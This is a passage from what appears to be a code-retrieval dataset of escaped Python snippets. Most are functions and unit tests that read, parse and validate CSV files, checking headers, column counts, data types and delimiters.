open(directory_og+listname+\".csv\", \"r\")\r\n return True\r\n except:\r\n return False","def _validate_latlon(self, col):\r\n # Assumes input in format ##d##.####' Dir or ##d##' Dir\r\n # latlon_pattern = \"[0-9]+[d][0-9]+[.][0-9]+\\' [nsewNSEW]\"\r\n latlon_pattern = \"[0-9]+[d][0-9]+[.]?[0-9]+\\' [nsewNSEW]\"\r\n error_rows = [] # initialize list of rows with errors\r\n # Loop through data and validate lat/long value\r\n for i, row in enumerate(self.rows):\r\n csv_row = i + 1\r\n coord = row[col]\r\n if not re.search(latlon_pattern, coord):\r\n error_rows.append(csv_row)\r\n #\r\n # \"\"\"\r\n # ALTERNATE UNUSED APPROACH, but kept as an example for reference\r\n # Pandas approach: Creates a True/False series showing records that match the pattern\r\n # The tilde (~) in front of series inverts the True/False values,\r\n # which is the same as records that DO NOT match the pattern\r\n # \"\"\"\r\n # validrows = self.dataframe[col].str.contains(latlong_pattern)\r\n # errors = self.dataframe[~validrows]\r\n\r\n return error_rows","def test_not_enough_cols(parallel, read_csv):\n text = \"\"\"\nA,B,C\n1,2,3\n4,5\n6,7,8\n\"\"\"\n table = read_csv(text, parallel=parallel)\n assert table[\"B\"][1] is not ma.masked\n assert table[\"C\"][1] is ma.masked\n\n with pytest.raises(InconsistentTableError):\n table = FastBasic(delimiter=\",\").read(text)","def check_for_csv(inp_dict):\n if inp_dict[\".csv\"]:\n for path in inp_dict[\".csv\"]:\n csv_path = convert_csv(path)\n inp_dict[\".xls\"].append(csv_path)\n inp_dict[\"del\"].append(csv_path)\n inp_dict[\"out\"].append(csv_path)\n inp_dict[\".csv\"] = []\n return inp_dict","def valid(self):\r\n if self.file_exists and len(self.missing_columns) == 0 and len(self.veg_columns) > 0 and \\\r\n len(self.lat_errors) == 0 and len(self.lon_errors) == 0 and len(self.time_errors) == 0 and len(self.date_errors) == 0:\r\n return True\r\n else:\r\n return False","def _isvalid_file(filename):\r\n thisisavalidfile = True\r\n if (filename[0] == \".\") or (filename[0] == \"_\") or not ((filename.split(\".\")[-1] == \"txt\") or (filename.split(\".\")[-1] == \"csv\")):\r\n thisisavalidfile = False\r\n\r\n return thisisavalidfile","def _validate_data(df):\n if constants.IMAGE_URI_KEY not in df.columns:\n # or label_col not in df.columns:\n raise AttributeError(\n 'DataFrame must contain image_uri column {}.')\n if constants.LABEL_KEY not in df.columns:\n raise AttributeError(\n 'DataFrame must contain label column.')\n if constants.SPLIT_KEY not in df.columns:\n raise AttributeError(\n 'DataFrame must contain split column.')\n if list(df.columns) != constants.IMAGE_CSV_COLUMNS:\n raise AttributeError(\n 'DataFrame column order must be {}'.format(\n constants.IMAGE_CSV_COLUMNS))","def _check_data_valid(self):\n\n is_valid = (sum(~np.isnan(self.data).flatten()) > 0 and self.data.flatten().sum() != 0)\n if not is_valid:\n raise FITSException(f\"No data in {self.survey}\")","def test_misc_csv_read_inmemory():\n r = csv_reader([\"fieldname_a,fieldname_b\",\n \"mo,bo\",\n \"go,zo\",\n \"fo,po\"])\n fields = r.hdr()\n data = str(fields)\n while True:\n row = r.row()\n if not row: break\n data += '\\n' + str(row)\n assert(data==\"\"\"\n['fieldname_a', 'fieldname_b']\n['mo', 'bo']\n['go', 'zo']\n['fo', 'po']\n \"\"\".strip())","def VerifyRow(self, parser_mediator, row):\n if len(row) != self._NUMBER_OF_COLUMNS:\n return False\n\n # If the date and time string cannot be converted into a date time object,\n # then do not consider this to be a McAfee AV Access Protection Log.\n try:\n self._CreateDateTime(row['date'], row['time'])\n except errors.ParseError:\n return False\n\n # Use the presence of these strings as a backup or in case of partial file.\n status = row['status']\n if 'Access Protection' not in status and 'Would be blocked' not in status:\n return False\n\n return True","def test_read_line(self):\n\n expected_data = ['\\\"lu, jr\\\"','ming-yuan','\\\"DRUG,1\\\"',135.999,True,3]\n input_string = '001,\\\"LU, JR\\\",MING-YUAN,\\\"DRUG,1\\\",135.999\\n'\n data = read_line(input_string)\n self.assertEqual(expected_data[0],data[0])\n self.assertEqual(expected_data[1],data[1])\n self.assertEqual(expected_data[2],data[2])\n self.assertAlmostEqual(expected_data[3],data[3])\n self.assertEqual(expected_data[4],data[4])\n self.assertAlmostEqual(expected_data[5],data[5])\n\n #Check for odd numers of quotation marks\n input_string = '001,\\\"LU\\\",\\\"MING-YUAN,DRUG1,135\\n'\n data = read_line(input_string)\n self.assertFalse(data[4])\n\n #Check for missing fields\n input_string = '001,,MING-YUAN,DRUG1,135\\n'\n data = read_line(input_string)\n self.assertFalse(data[4])\n\n input_string = '001,LU,MING-YUAN,DRUG1,\\n'\n data = read_line(input_string)\n self.assertFalse(data[4])\n\n #Check for corrupted fields\n input_string = '001x,LU,MING-YUAN,DRUG1,135\\n'\n data = read_line(input_string)\n self.assertFalse(data[4])\n\n input_string = '001,LU,MING-YUAN,DRUG1,1ag5\\n'\n data = read_line(input_string)\n self.assertFalse(data[4])","def __init__(self, message, file_handle, format):\n oh = open(file_handle, \"rU\")\n config.log.error(\"csv/tsv file did not pass the csv parser\")\n config.log.error(\"Message: %s\" % message)\n print(\"-----------------------\")\n print(\"CSV Diagnostic:\")\n if \"skiplines\" in format: # skip the lines.\n if format[\"skiplines\"] != -1:\n for n in range(format[\"skiplines\"]):\n oh.readline().rstrip(\"\\r\\n\")\n\n print(\"0:\", oh.readline().rstrip(\"\\r\\n\"))\n print(\"1:\", oh.readline().rstrip(\"\\r\\n\"))\n print(\"2:\", oh.readline().rstrip(\"\\r\\n\"))\n print(\"3:\", oh.readline().rstrip(\"\\r\\n\"))\n print(\"-----------------------\")\n print(\"Format Specifier: %s\" % (\" \".join([\"%s:%s\\t\" % (key, format[key]) for key in format])))\n print(\"Expected Format, based on the format specifier:\")\n oh.close()\n\n # This is a safe-ish version of loadCSV() that intelligently fails.\n\n if \"sniffer\" not in format:\n oh = open(file_handle, \"rU\")\n if \"dialect\" in format:\n reader = csv.reader(oh, dialect=format[\"dialect\"])\n else:\n reader = csv.reader(oh)\n\n try:\n if \"skiplines\" in format:\n skiplines = format[\"skiplines\"]\n else:\n skiplines = 0 # skip any header row by default.\n except:\n print(\"Error: End of File\") # premature end of file, skip out.\n print(\"-----------------------\")\n print(\"Error: %s\" % (message))\n return\n\n for index, column in enumerate(reader): # This is cryptically called column, when it is actually row.\n if index > skiplines:\n if column: # list is empty, so omit.\n if (not (column[0] in typical_headers)):\n d = {}\n for key in format:\n if not (key in ignorekeys): # ignore these tags\n try:\n if not key in d:\n d[key] = {}\n if isinstance(format[key], dict) and \"code\" in format[key]:\n # a code block insertion goes here - any valid lib and one line python code fragment\n # store it as a dict with the key \"code\"\n d[key] = eval(format[key][\"code\"]) # this always fails for some reason...\n else:\n d[key] = str(column[format[key]])\n except:\n d[key] = \"mangled\"\n print(\"%s\" % (\" \".join([\"%s:%s\" % (key, d[key]) for key in d])))\n if index > 3:\n break\n else:\n print(\" No specified format (glbase will guess)\")\n\n print(\"-----------------------\")\n config.log.error(\"End of error output\")","def _validate_data(self, table_definition, data):\n if len(data) == 0:\n # Length zero columns get converted on write.\n return\n\n columns_checked = set()\n\n for column_name, column_definition in table_definition.c.items():\n if column_name in data:\n expected_type = self._expected_type(column_definition)\n is_nullable_numeric = (column_definition.nullable and\n expected_type in [int, float])\n if is_nullable_numeric:\n data[column_name] = data[column_name].fillna(value=np.nan)\n actual_type = data[column_name].dtype\n is_pandas_extension = isinstance(actual_type, ExtensionDtype)\n if expected_type is int:\n self._check_int_type(actual_type, column_name,\n is_pandas_extension, table_definition)\n elif expected_type is float:\n self._check_float_type(actual_type, column_name,\n table_definition)\n elif expected_type is str:\n self._check_str_type(actual_type, column_name, data,\n table_definition)\n else:\n raise RuntimeError(f\"Unexpected type from column \"\n f\"definitions: {expected_type}.\")\n elif not (column_definition.primary_key or\n column_definition.nullable):\n raise DismodFileError(f\"Missing column in data for table \"\n f\"'{table_definition.name}': \"\n f\"'{column_name}'\")\n columns_checked.add(column_name)\n\n extra_columns = set(data.columns).difference(table_definition.c.keys())\n if extra_columns:\n raise DismodFileError(f\"extra columns in data for table \"\n f\"'{table_definition.name}': {extra_columns}\"\n )","def validate_data(values):\n try:\n [int(value) for value in values]\n if len(values) != 6:\n raise ValueError(\n f'Exactly 6 values are required - you provided {len(values)}'\n )\n except ValueError as e:\n print(f'Invalid data entered: {e}, please try again!\\n')\n return False\n\n return True","def _prepare_and_validate_data(self,data_list):\n pos=0\n list_pos=0\n format=\"\"\n length=0\n value=\"\"\n\n #check number of items in data_list is as expected\n if(self.data_lookup.count()['type']!=len(data_list)):\n raise NumItemsError(\"Wrong number of items for the data type\")\n\n #loop over data from data_types.csv and populate\n for index,row in self.data_lookup.iterrows():\n length=int(row['Bytes'])\n\n #obtain format type\n if (row['Format']=='byte'):\n format=int\n elif (row['Format']=='string'):\n format=str\n\n #obtain limits\n try:\n min=int(row['Min'],16)\n max=int(row['Max'],16)\n except:\n min='*'\n max='*'\n\n #check format type\n if (isinstance(data_list[list_pos],format)):\n #correct format type\n if format==str:\n value=data_list[list_pos].encode()\n elif format==int:\n value=data_list[list_pos].to_bytes(length,'little')\n\n #check limits if int type\n if min=='*' or max == '*':\n pass\n elif int(data_list[list_pos]) >= min and int(data_list[list_pos]) <= max:\n pass\n else:\n raise ValueError(\"value\",int(value),\"is out of range, min:\",min,\"max:\",max)\n else:\n raise TypeError(\"Unknown type, can currently only handle string or integer types\")\n #populate data\n for n in range(0,length):\n self.data[pos+n]=value[n]\n pos=pos+length\n list_pos=list_pos+1\n else:\n raise TypeError(\"expected\",format,\"got\",type(data_list[list_pos]),\"at position\",list_pos)\n return True","def csvread(infile):\n out_csv = []\n errors = []\n index = -1\n p = LineParser(csv=True)\n for line in infile:\n index += 1\n try:\n values = p.feed(line)\n except ListQuoteError as e:\n values = []\n e.line = line\n e.index = index\n errors.append(e)\n #\n out_csv.append(values)\n #\n if errors:\n e = CSVError(\"Parsing CSV failed. See 'errors' attribute.\")\n e.csv = out_csv\n e.errors = errors\n raise e\n return out_csv"],"string":"[\n \"def check_valid_csvformat(self, csv_path):\\n with open(self.csv_path, \\\"rb+\\\") as file_obj:\\n reader = csv.reader(file_obj, delimiter=',') # CSV DictReader object\\n self.check_valid_csv_header(reader.next())\\n self.check_valid_csv_data(reader.next())\",\n \"def validate_csv_seq(sequence):\\n if sequence.find(',') != -1 or sequence.find(';') != -1:\\n return True\\n else:\\n return False\",\n \"def validate_csv(filename: str) -> bool:\\n # From: https://stackoverflow.com/questions/2984888/check-if-file-has-a-csv-format-with-python\\n try:\\n with open(filename, newline='') as csvfile:\\n start = csvfile.read(4096)\\n\\n # isprintable does not allow newlines, printable does not allow umlauts...\\n if not all([c in string.printable or c.isprintable() for c in start]):\\n return False\\n dialect = csv.Sniffer().sniff(start)\\n return True\\n except csv.Error:\\n # Could not get a csv dialect -> probably not a csv.\\n return False\\n except UnicodeError:\\n return False\",\n \"def validate_csv(filename, header, cols, rows):\\n\\n # open file\\n data = pd.read_csv(filename, delimiter='|')\\n\\n # validate header\\n assert header == '|'.join(list(data.columns.values))\\n\\n # validate column count\\n assert data.shape[1] == cols\\n\\n # validate row count\\n assert data.shape[0] == rows\\n\\n # return (header_result == column_result == row_result) is True\",\n \"def test_schema_invalid_format(self):\\n bad_schema = [int, int, float, float, str]\\n with self.assertRaisesRegexp(Exception, \\\"more than one char\\\"):\\n self.context.frame.import_csv(self.dataset, bad_schema)\",\n \"def test_valid_csv(self):\\n url=\\\"http://archive.ics.uci.edu/ml/machine-learning-databases/wine/wine.data\\\"\\n readerobject=requester.url_to_csv(url, fname='wine2')\\n self.assertTrue(str(type(readerobject)),\\\"_csv.reader\\\")\",\n \"def check_valid_csv_header(self, row):\\n obj = re.match(re.compile('^Year\\\\,Month\\\\,.'),\\n ','.join(row))\\n if not obj:\\n raise Exception(\\\"Invalid Headers must be `Year` `Month` Check Sample file\\\")\",\n \"def test_validate_file_extension_csv(self):\\n data_contacts = open(self.test_dir + 'contacts.csv',\\n encoding='utf-8')\\n data_contacts_false = open(self.test_dir + 'mannheim_short.json',\\n encoding='utf-8')\\n a = validate_file_extension_csv(data_contacts)\\n self.assertEqual(a, None)\\n with self.assertRaises(ValidationError) as context:\\n validate_file_extension_csv(data_contacts_false)\\n data_contacts.close()\\n data_contacts_false.close()\\n self.assertTrue(\\\"Keine gültige CSV-Datei\\\" or \\\"No valid CSV file\\\" in\\n str(context.exception))\",\n \"def test_schema_invalid_type(self):\\n bad_schema = -77\\n with self.assertRaisesRegexp(Exception, \\\"more than one char\\\"):\\n self.context.frame.import_csv(self.dataset, bad_schema)\",\n \"def csv_parser_test():\\n data = csv_parser(myspreadsheet)\\n print 'Your data object:'\\n pp = pprint.PrettyPrinter(indent=4)\\n pp.pprint(data) \\n # Did your parser work?\\n for row_num, row in enumerate(data):\\n try:\\n assert len(row) == 3\\n except AssertionError:\\n print \\\"Row %s seems to be misparsed; its length is %s\\\" % (row_num, len(row))\\n # Check on one of the values:\\n try:\\n assert data[4][2] == 'Linguist'\\n except AssertionError:\\n print \\\"Error: data[4][2] should equal 'Linguist'; actual value is %s\\\" % data[4][2]\\n # Did you remember your int conversions?\\n try:\\n assert isinstance(data[0][0], int)\\n except AssertionError:\\n print \\\"Error: data[0][0] should be an int\\\"\\n # Did you remember your float conversions?\\n try:\\n assert isinstance(data[6][1], float)\\n except AssertionError:\\n print \\\"Error: data[6][1] should be a float\\\"\",\n \"def csv_parser_test():\\r\\n data = csv_parser(myspreadsheet)\\r\\n print('Your data object:')\\r\\n pp = pprint.PrettyPrinter(indent=4)\\r\\n pp.pprint(data) \\r\\n # Did your parser work?\\r\\n for row_num, row in enumerate(data):\\r\\n try:\\r\\n assert len(row) == 3\\r\\n except AssertionError:\\r\\n print ((\\\"Row %s seems to be misparsed; its length is %s\\\") % (row_num, len(row)))\\r\\n # Check on one of the values:\\r\\n try:\\r\\n assert data[4][2] == 'Linguist'\\r\\n except AssertionError:\\r\\n print ((\\\"Error: data[4][2] should equal 'Linguist'; actual value is %s\\\") % data[4][2])\\r\\n # Did you remember your int conversions?\\r\\n try:\\r\\n assert isinstance(data[0][0], int)\\r\\n except AssertionError:\\r\\n print (\\\"Error: data[0][0] should be an int\\\")\\r\\n # Did you remember your float conversions?\\r\\n try:\\r\\n assert isinstance(data[6][1], float)\\r\\n except AssertionError:\\r\\n print (\\\"Error: data[6][1] should be a float\\\")\",\n \"def __is_csv(self):\\n try:\\n # just open to check if there is the file\\n with open(self.__csv_file_name, 'r') as file:\\n file.close()\\n return True\\n # if it do not exists the exception will returns false\\n except IOError:\\n return False\",\n \"def open_convert_and_clean_csv(csv_data_file):\\n imported_data = tablib.Dataset().load(open(csv_data_file).read())\\n dataset = []\\n for row in imported_data:\\n if float(row[1]) > 0 and float(row[2]) > 0:\\n dataset.append((row[0], float(row[1]), float(row[2])))\\n return dataset\",\n \"def test_invalid_header(self, tmpdir):\\n path1 = tmpdir.join(\\\"invalid.csv\\\")\\n path1.write(\\\"not,a,valid,header,row\\\")\\n with pytest.raises(ValueError):\\n parse_file(str(path1))\\n\\n path2 = tmpdir.join(\\\"valid.csv\\\")\\n path2.write(\\\",\\\".join(HEADER_ROW))\\n try:\\n parse_file(str(path2))\\n except ValueError:\\n assert False, \\\"Unexpected ValueError\\\"\",\n \"def test_csv_reader_data_contents(process_data):\\n data = process_data(file_name_or_type='clean_map.csv')\\n\\n # Check row types\\n for row in data:\\n assert(isinstance(row['Country'], str))\\n assert(isinstance(row['City'], str))\\n assert(isinstance(row['State_Or_Province'], str))\\n assert(isinstance(row['Lat'], float))\\n assert(isinstance(row['Long'], float))\\n assert(isinstance(row['Altitude'], float))\\n\\n # Basic data checks\\n assert len(data) == 180 # We have collected 180 rows\\n assert data[0]['Country'] == 'Andorra'\\n assert data[106]['Country'] == 'Japan'\",\n \"def _verify_csv_file_report(self, report_store, expected_data):\\n report_csv_filename = report_store.links_for(self.course.id)[0][0]\\n report_path = report_store.path_to(self.course.id, report_csv_filename)\\n with report_store.storage.open(report_path) as csv_file:\\n csv_file_data = csv_file.read()\\n # Removing unicode signature (BOM) from the beginning\\n csv_file_data = csv_file_data.decode(\\\"utf-8-sig\\\")\\n for data in expected_data:\\n self.assertIn(data, csv_file_data)\",\n \"def test_validate_csv():\\n duplicate_keys_file_path = os.path.join(\\n TEST_DATA_DIR, \\\"clubs_invalid_duplicate_keys.csv\\\"\\n )\\n\\n invalid_headers_file_path = os.path.join(\\n TEST_DATA_DIR, \\\"membership_invalid_syntax.csv\\\"\\n )\\n\\n # Test duplicate keys\\n with open(duplicate_keys_file_path) as test_file:\\n test_file = test_file.read()\\n\\n rows = list(csv.DictReader(StringIO(test_file)))\\n\\n with pytest.raises(ValidationFailed) as v_error:\\n validate_csv(rows)\\n\\n validation_resp = v_error.value.errors[0]\\n assert \\\"error\\\" in validation_resp\\n duplicate_keys = validation_resp[\\\"detail\\\"]\\n assert \\\"5\\\" in duplicate_keys\\n assert \\\"2\\\" in duplicate_keys\\n\\n # Test invalid syntax\\n with open(invalid_headers_file_path) as test_file:\\n test_file = test_file.read()\\n\\n rows = list(csv.DictReader(StringIO(test_file)))\\n with pytest.raises(ValidationFailed) as v_error:\\n validate_csv(rows)\\n\\n validation_resp = v_error.value.errors[0]\\n invalid_rows = [x[\\\"row\\\"] for x in validation_resp[\\\"detail\\\"]]\\n assert \\\"error\\\" in validation_resp\\n assert 3 in invalid_rows\\n assert 4 in invalid_rows\\n assert 5 in invalid_rows\\n\\n # Test unicode decode errors\\n test_data = b\\\"\\\\xff\\\\xfe_\\\\x00k\\\\x00e\\\\x00y\\\\x00,\\\\x00n\\\\x00a\\\\x00m\\\\x00e\\\\x00\\\\n\\\"\\n pytest.raises(DecodeFailed, decode_data, test_data)\",\n \"def handle_csv(self):\\n try:\\n reader = csv.reader(open(self.options.datafile, 'r'))\\n except IOError:\\n errormsg(_('Cannot read \\\"{}\\\"'.format(self.options.datafile)))\\n raise Exception(_('Cannot read \\\"{}\\\"'.format(self.options.datafile)))\\n if self.options.var_type == 'name':\\n try:\\n self.header = reader.next()\\n except StopIteration:\\n errormsg(_('Data file \\\"{}\\\" contains no data'.format(\\n self.options.datafile)))\\n raise Exception(_('Data file \\\"{}\\\" contains no data'.format(\\n self.options.datafile)))\\n self.data = []\\n for row in reader:\\n self.data.append(row)\",\n \"def validate_data(self, row, col, value):\\n\\n return True\",\n \"def test_parse_invalid_file(self):\\n with pytest.raises(ParserError):\\n self.parser.parse(\\\"invalid csv\\\")\",\n \"def test_load_csv_file():\\n data = loader.load_csv_file(\\\"buildup/reference/comsol_solution/lofi/voltage.csv.bz2\\\")\\n\\n assert data.any()\",\n \"def check_meatadata_row(validated, input_validate_dict, row, idx):\\n\\n if row['RealCrystalName'].isspace() or row['RealCrystalName'] == 'nan':\\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'RealCrystalName spaces or null', idx + 2)\\n validated = False\\n if row['crystal_name'].isspace() or row['RealCrystalName'] == 'nan':\\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'Crystal name spaces or null', idx + 2)\\n validated = False\\n if row['RealCrystalName'] not in row['crystal_name']:\\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'Crystal name does not contain RealCrystalName', idx + 2)\\n validated = False\\n if row['smiles'] == 'nan':\\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'Smiles null', idx + 2)\\n validated = False\\n\\n return validated, input_validate_dict\",\n \"def process(self, record):\\n is_data = True\\n if self.file_path.split('.')[-1] == 'csv':\\n if self.header_skip:\\n logging.info('Skipping header data... {}'.format(record))\\n self.header_skip = False\\n is_data = False\\n return [(record, None, None, is_data)]\\n record_attributes = list(csv.reader([record]))[0]\\n if len(record_attributes) != len(self.schema[FIELDS_KEY]):\\n if len(record_attributes) > 1 or not record_attributes[0].strip().isdigit():\\n IS_VALID_FILE = False\\n is_data = None\\n return [(record, None, None, is_data)]\\n for record_attribute, attribute_schema in zip(\\n record_attributes, self.schema[FIELDS_KEY]):\\n is_valid_datatype_check = self.__datatype_check(record_attribute, attribute_schema)\\n is_valid_null_check = self.__null_check(record_attribute, attribute_schema)\\n return [(record, is_valid_datatype_check, is_valid_null_check, is_data)]\",\n \"def read_csv():\",\n \"def is_valid(self, dataset):\\n pass\",\n \"def validate_dataset(self):\\n pass\",\n \"def test_csvfile_get_data_impossible_filter(fs: FakeFilesystem) -> None:\\n fs.create_file(\\\"test.csv\\\", contents=CONTENTS)\\n\\n adapter = CSVFile(\\\"test.csv\\\")\\n assert list(adapter.get_data({\\\"index\\\": Impossible()}, [])) == []\",\n \"def test_csvfile_different_types(fs: FakeFilesystem) -> None:\\n contents = '''\\\"a\\\"\\n1\\n2.0\\n\\\"test\\\"'''\\n fs.create_file(\\\"test.csv\\\", contents=contents)\\n\\n adapter = CSVFile(\\\"test.csv\\\")\\n\\n assert adapter.get_columns() == {\\n \\\"a\\\": String(\\n filters=[Range, Equal, NotEqual, IsNull, IsNotNull],\\n order=Order.NONE,\\n exact=True,\\n ),\\n }\",\n \"def filterLines(weatherRDDRecord):\\n fieldsList = weatherRDDRecord.split(\\\",\\\")\\n #return len(fieldsList)\\n if any(i.isdigit() for i in fieldsList[0]):\\n return True\\n else:\\n return False\",\n \"def _validate_row(self, row):\\n\\n # assume value.\\n is_valid = True\\n\\n # test if each field in @row has the correct data type.\\n tests = []\\n for field, value in row.items():\\n value_type, header_type = (type(value).__name__, \\n self.required_headers[field].__name__)\\n test = value_type == header_type\\n if not test:\\n err = \\\"Field '{}' not valid; expected '{}', got '{}'.\\\".format(field,\\n header_type, value_type)\\n self.logger.debug(err)\\n tests.append(test)\\n\\n # if any test failed, set @is_valid to False.\\n if False in tests:\\n is_valid = False\\n \\n return is_valid\",\n \"def test_is_valid_manifest_format_with_csv(caplog):\\n assert is_valid_manifest_format(\\\"tests/test_manifest.csv\\\") == True\\n assert caplog.text == \\\"\\\"\",\n \"def test_delimiter_empty(self):\\n with self.assertRaisesRegexp(Exception, \\\"delimiter\\\"):\\n self.context.frame.import_csv(self.dataset,\\n self.schema, delimiter=\\\"\\\")\",\n \"def test_csv_simple_input(self):\\n\\n # Mix of integer and string data. Ensure that commas and\\n # quotes are escaped properly.\\n data = [\\n {\\n 'name': 'Normal string',\\n 'item_num': 1,\\n },\\n {\\n 'name': 'String, with, commas',\\n 'item_num': 2,\\n },\\n {\\n 'name': 'String with \\\" quote',\\n 'item_num': 3,\\n },\\n ]\\n\\n table = TableReportForTesting(data)\\n response = table.as_csv(HttpRequest())\\n self.assertEqual(response.status_code, 200)\\n # Expect cells containing commas to be escaped with quotes.\\n content = response.content\\n if PY3:\\n content = content.decode(settings.DEFAULT_CHARSET).replace('\\\\x00', '')\\n self.assertEqual(\\n content,\\n 'Name,Item Num\\\\r\\\\n'\\n 'Normal string,1\\\\r\\\\n'\\n '\\\"String, with, commas\\\",2\\\\r\\\\n'\\n '\\\"String with \\\"\\\" quote\\\",3\\\\r\\\\n')\",\n \"def isFormatOk(self, row):\\n try:\\n date = datetime.strptime(row[0], \\\"%m/%d/%Y\\\").date()\\n state = fix_text(row[1])\\n impressions = int(row[2])\\n if impressions < 0:\\n raise ValueError\\n CTR = float(row[3].replace(\\\"%\\\",\\\"\\\"))\\n if CTR < 0 or CTR > 1:\\n raise ValueError\\n except ValueError as e:\\n print(f\\\"Wrong format of provided data {row}\\\", file=sys.stderr)\\n return False\\n return Record(date=date, state=state, impressions=impressions, CTR=CTR)\",\n \"def test_with_no_specified_or_inferred_schema(self):\\n # should default to creating a schema of all strings\\n frame = self.context.frame.import_csv(self.dataset, infer_schema=False)\\n expected_schema = [(\\\"C0\\\", str), (\\\"C1\\\", str), (\\\"C2\\\", str)]\\n self.assertEqual(frame.schema, expected_schema)\",\n \"def test_itercsv_emits_data_lines():\\n expected = [\\n b'Hello,World\\\\r\\\\n',\\n b'1,2\\\\r\\\\n',\\n b'3,4\\\\r\\\\n'\\n ]\\n assert list(itercsv(['Hello', 'World'], [[1, 2], [3, 4]])) == expected\",\n \"def validate_data(self, data):\\n # TODO use schema\\n assert \\\"file_contents\\\" in data, data\\n assert \\\"type\\\" in data, data\",\n \"def validate_bed_format(row):\\n assert len(row) >= 3, 'Bed Files must have at least 3 tab separated fields.'\\n\\n return True\",\n \"def clean(self):\\n if self.csv_file:\\n #TODO: add category validation here\\n self.forms = self.csv_file.get_form_repr()\\n self._errors = [0]*self.total_form_count()\\n return\\n if any(self.errors):\\n return\",\n \"def test_missing_columns(self):\\n file = SimpleUploadedFile(\\n \\\"test.csv\\\",\\n b\\\"msisdn,messaging consent,edd year,edd month,baby dob year,\\\"\\n b\\\"baby dob month,baby dob day\\\\n\\\",\\n )\\n form = MomConnectImportForm(\\n data={\\\"source\\\": \\\"MomConnect Import\\\"}, files={\\\"file\\\": file}\\n )\\n self.assertTrue(form.is_valid())\\n instance = form.save()\\n self.assertEqual(instance.status, MomConnectImport.Status.ERROR)\\n [error] = instance.errors.all()\\n self.assertEqual(\\n error.error, \\\"Fields edd_day facility_code id_type not found in header\\\"\\n )\",\n \"def test_schema_duplicate_names_same_type(self):\\n # two num1's with same type\\n bad = [(\\\"num1\\\", int), (\\\"num1\\\", int), (\\\"num2\\\", int)]\\n with self.assertRaisesRegexp(Exception, \\\"more than one char\\\"):\\n self.context.frame.import_csv(self.dataset, bad)\",\n \"def csv_statistics_validator(stats, schema):\\n stats_anomalies = tfdv.validate_statistics(statistics = stats, schema = schema)\\n tfdv.display_anomalies(stats_anomalies)\\n return stats_anomalies\",\n \"def _read_csv(self, options, datas):\\n csv_data = datas\\n if not csv_data:\\n return iter([])\\n encoding = options.get('encoding')\\n if not encoding:\\n encoding = options['encoding'] = chardet.detect(csv_data)['encoding'].lower()\\n # some versions of chardet (e.g. 2.3.0 but not 3.x) will return\\n # utf-(16|32)(le|be), which for python means \\\"ignore / don't strip\\n # BOM\\\". We don't want that, so rectify the encoding to non-marked\\n # IFF the guessed encoding is LE/BE and csv_data starts with a BOM\\n bom = BOM_MAP.get(encoding)\\n if bom and csv_data.startswith(bom):\\n encoding = options['encoding'] = encoding[:-2]\\n if encoding != 'utf-8':\\n csv_data = csv_data.decode(encoding).encode('utf-8')\\n\\n separator = options.get('separator')\\n if not separator:\\n # default for unspecified separator so user gets a message about\\n # having to specify it\\n separator = ','\\n for candidate in (',', ';', '\\\\t', ' ', '|', unicodedata.lookup('unit separator')):\\n # pass through the CSV and check if all rows are the same\\n # length & at least 2-wide assume it's the correct one\\n it = pycompat.csv_reader(io.BytesIO(csv_data), quotechar=options['quoting'], delimiter=candidate)\\n w = None\\n for row in it:\\n width = len(row)\\n if w is None:\\n w = width\\n if width == 1 or width != w:\\n break # next candidate\\n else: # nobreak\\n separator = options['separator'] = candidate\\n break\\n csv_iterator = pycompat.csv_reader(\\n io.BytesIO(csv_data),\\n quotechar=options['quoting'],\\n delimiter=separator)\\n return (\\n row for row in csv_iterator\\n if any(x for x in row if x.strip())\\n )\",\n \"def _verify_csv_file_report_notIn(self, report_store, expected_data):\\n report_csv_filename = report_store.links_for(self.course.id)[0][0]\\n report_path = report_store.path_to(self.course.id, report_csv_filename)\\n with report_store.storage.open(report_path) as csv_file:\\n csv_file_data = csv_file.read()\\n # Removing unicode signature (BOM) from the beginning\\n csv_file_data = csv_file_data.decode(\\\"utf-8-sig\\\")\\n for data in expected_data:\\n self.assertNotIn(data, csv_file_data)\",\n \"def test_misc_csv_read():\\n r = csv_reader(\\\"../test/test.csv\\\")\\n fields = r.hdr()\\n data = str(fields)\\n while True:\\n row = r.row()\\n if not row: break\\n data += '\\\\n' + str(row)\\n\\n assert(data == \\\"\\\"\\\"\\n['EVT_CODE*', 'EVT_DATE.DE', 'CODE', 'AGE', 'FRST', 'LST', 'SPEC', 'de.id']\\n['tea', '2018/01/01', 'X', '35', 'PRE', 'WHO', 'BUG', '1']\\n['coffee', '2018/05/05', 'X', '35', 'JAN,Z', 'WHO', 'FRG', '1']\\n['water', '2018/01/01', 'Y', '35', 'TAN', 'POST', 'CAT', '2']\\n \\\"\\\"\\\".strip())\",\n \"def test_csv_row_bug(script_runner, tmpdir, test_dir):\\n csv_file = tmpdir / 'csv_file.csv'\\n\\n ret = script_runner.run(\\n 'mwcp-tool', '-p', 'foo', '-c', str(csv_file), str(test_dir), cwd=str(tmpdir))\\n print(ret.stdout)\\n print(ret.stderr, file=sys.stderr)\\n assert ret.success\\n\\n assert csv_file.exists()\\n\\n with csv_file.open('r') as fo:\\n reader = csv.reader(fo)\\n rows = list(reader)\\n assert len(rows) == len(test_dir.listdir()) + 1\\n assert rows[0] == ['scan_date', 'inputfilename', 'outputfile.name',\\n 'outputfile.description', 'outputfile.md5', 'address', 'debug', 'url']\\n for i, row in enumerate(rows[1:]):\\n assert row[0] and row[1]\\n # Test entries except the timestamp and full file path.\\n assert row[2:] == [\\n 'fooconfigtest.txt',\\n 'example output file',\\n '5eb63bbbe01eeed093cb22bb8f5acdc3',\\n '127.0.0.1',\\n ('[+] File test_{0}.txt identified as Foo.\\\\n'\\n '[+] size of inputfile is 23 bytes\\\\n'\\n '[+] operating on inputfile test_{0}.txt').format(i),\\n 'http://127.0.0.1',\\n ]\",\n \"def test_csv(self, input_file_path: str, answer_file_path: List[Dict]):\\n with open(attach_path(answer_file_path), 'r') as answer_file:\\n csv_file = open(attach_path(input_file_path))\\n assert str(read_csv(csv_file)) == answer_file.read().strip()\",\n \"def validate(self, row):\\n raise NotImplementedError\",\n \"def isLineData(self, line):\\n\\n if line is None or line.strip().startswith('#'):\\n return False, None, 0\\n\\n dataType = self.getDataType()\\n\\n if dataType == 'Y':\\n # Y with 1 column\\n try:\\n yValue = float(line)\\n\\n return True, 'Y', 1\\n except:\\n 